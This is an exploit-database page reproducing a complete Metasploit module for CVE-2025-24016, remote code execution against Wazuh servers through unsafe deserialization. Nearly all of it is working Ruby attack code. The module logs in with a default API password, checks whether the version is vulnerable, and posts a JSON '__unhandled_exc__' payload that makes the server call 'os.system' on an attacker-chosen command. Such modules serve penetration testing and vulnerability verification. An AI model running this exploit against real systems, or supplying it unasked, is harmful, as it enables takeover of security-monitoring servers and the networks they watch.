Sploitus

Exploit for πŸ“„ Wazuh Server Remote Code Execution

packetstorm Β· 2025-08-12

Exploit Code

ruby145 lines
## https://sploitus.com/exploit?id=PACKETSTORM:208304
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
            'Description' => %q{
              Wazuh is a free and open source platform used for threat prevention, detection, and response.
              Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
              allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
              as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
              If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
              forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
              The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
              servers in the cluster) or, in certain configurations, even by a compromised agent.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
              'DanielFi https://github.com/DanielFi', # Discovery
            ],
            'References' => [
              ['CVE', '2025-24016'],
              ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
              ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-02-10',
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 55000
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
          OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
          OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
        ])
      end
    
      # get Wazuh API token
      # return token if API login is successful else nil
      def get_api_token
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
          'headers' => {
            'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
          }
        })
        return unless res&.code == 200 && res.body.include?('token')
    
        res_json = res.get_json_document
        res_json['data']['token'] unless res_json.blank?
      end
    
      # get the Wazuh version
      # return version if successful else nil
      def get_wazuh_version(api_token)
        api_auth = "Bearer #{api_token}"
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'headers' => {
            'Authorization' => api_auth.to_s
          }
        })
        return unless res&.code == 200 && res.body.include?('api_version')
    
        res_json = res.get_json_document
        res_json['data']['api_version'] unless res_json.blank?
      end
    
      # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
      def execute_payload(cmd, _opts = {})
        # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
        post_data = {
          __unhandled_exc__: {
            __class__: 'os.system',
            __args__: [ cmd.to_s ]
          }
        }.to_json
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
          'ctype' => 'application/json',
          'headers' => {
            'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
          },
          'data' => post_data.to_s
        })
      end
    
      def check
        # check Wazuh API access with the API credentials
        api_token = get_api_token
        return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
    
        version = get_wazuh_version(api_token)
        return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
    
        version = Rex::Version.new(version)
        unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
          return CheckCode::Safe("Wazuh version #{version}")
        end
    
        CheckCode::Appears("Wazuh version #{version}")
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end